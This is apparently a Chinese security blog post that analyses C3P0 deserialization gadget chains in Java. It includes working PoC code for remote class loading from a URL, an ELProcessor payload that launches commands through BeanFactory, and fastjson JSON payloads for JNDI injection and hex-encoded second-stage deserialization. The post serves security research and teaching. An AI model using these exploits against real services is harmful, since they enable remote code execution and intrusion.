Javaweb安全——反序列化漏洞-C3P0链

C3P0反序列化链

C3P0是一个开源的JDBC连接池,它实现了数据源与JNDI绑定,支持JDBC3规范和实现了JDBC2的标准扩展说明的Connection和Statement池的DataSources对象。

即将用于连接数据库的连接整合在一起形成一个随取随用的数据库连接池(Connection pool)。

ysoserial代码注释中的调用链如下:

com.sun.jndi.rmi.registry.RegistryContext->lookup
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject

自下向上的调用,从lookup看着像一个jndi注入,调用链比较短,直接静态审计源码试试。com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject还原connectionPoolDataSource属性赋值

image-20221024155902626

跟到com.mchange.v2.naming.ReferenceIndirector的内部类的方法ReferenceSerialized#getObject,可见是有个jndi,不过仔细查看源码发现contextName其实是不可控的。

image-20221024193017266

看一下com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject的流程,了解connectionPoolDataSource属性是怎么序列化的。

先try反序列化connectionPoolDataSource属性,但这个属性connectionPoolDataSource是ConnectionPoolDataSource类的没有实现 Serializable,并不能反序列化

image-20221024201331791

接着会抛出异常进入catch,产生1个Reference对象,然后再将他作为ReferenceSerialized类的属性。

image-20221024201209807

所以说只有reference属性是可控的。

image-20221024201702477

远程类加载

reference属性可控的话com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject中还有个点就可以利用了

image-20221024202209331

com.mchange.v2.naming.ReferenceableUtils#referenceToObject

image-20221024202337694

写个自定义类PoolSource实现ConnectionPoolDataSource, Referenceable接口即可

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0 {
    public static void main(String[] args) throws Exception {
        String className = "Evil";
        String url = "http://127.0.0.1:7999/";
        PoolBackedDataSource o = new PoolBackedDataSource();
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(o, new PoolSource(className, url));

        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        oos.close();

        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o0 = (Object)ois.readObject();
    }

    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("test", this.className, this.url);
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }
}

image-20221024204810910

BeanFactory本地工厂类

上面的利用链因为要用到URLClassLoader,所以在高版本jdk以及不出网的条件下无法利用。

com.mchange.v2.naming.ReferenceableUtils#referenceToObject这还有一个利用点

image-20221024205438152

很容易想到jndi高版本注入用过的BeanFactory#getObjectInstance

image-20221024212004772

修改一下getReference方法返回的ref对象即可

        public Reference getReference () throws NamingException {
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
            ref.add(new StringRefAddr("forceString", "test=eval"));
            ref.add(new StringRefAddr("test", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
            return ref;
        }

image-20221024213307908

fastjson中的利用

jndi注入

代替JdbcRowSetImpl链使用

com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference还有个jndi的点

image-20221024213620815

这个方法只有一个调用

image-20221024213752481

找调用了 inner() 的setter 方法做跳板。

image-20221024214048378

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0}

二次反序列化

Fastjson的低版本可用(<= 1.2.47)。

先看poc:

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}

跟进com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners这个方法,其在构造方法中调用

image-20221024220120577

该方法自定义了一个监听器重写了vetoableChange方法

image-20221024220221653

查看重写的vetoableChange方法,可见监听两个属性名:

  • connectionTesterClassName 属性通过recreateConnectionTester方法重新实例化一个 ConnectionTester 对象也就无法被利用了

  • userOverridesAsString属性使用 C3P0ImplUtils.parseUserOverridesAsString*来处理NewValue。
    截取从 HexAsciiSerializedMap 后的第二位到倒数第二位 中间的hex字符串,可以构造形如 HexAsciiSerializedMap:hex_code; 的字符串

    image-20221024232322171

    image-20221024232403290

    然后调用SerializableUtils.fromByteArray方法进行二次反序列化

    image-20221024232504251

    image-20221024232515861

接着跟进userOverridesAsString属性的setter方法,

image-20221024235128606

再到java.beans.VetoableChangeSupport#fireVetoableChange(java.beans.PropertyChangeEvent)

image-20221024235253145

调用链如下:

com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
	java.beans.VetoableChangeSupport#fireVetoableChange(java.lang.String, java.lang.Object, java.lang.Object)
	java.beans.VetoableChangeSupport#fireVetoableChange(java.beans.PropertyChangeEvent)
	java.beans.VetoableChangeListener#vetoableChange
		com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
			com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[])
			com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray

参考

https://www.cnblogs.com/CoLo/p/15850685.html#hex%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E8%8A%82%E5%8A%A0%E8%BD%BD%E5%99%A8

https://blog.csdn.net/rfrder/article/details/123208761

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值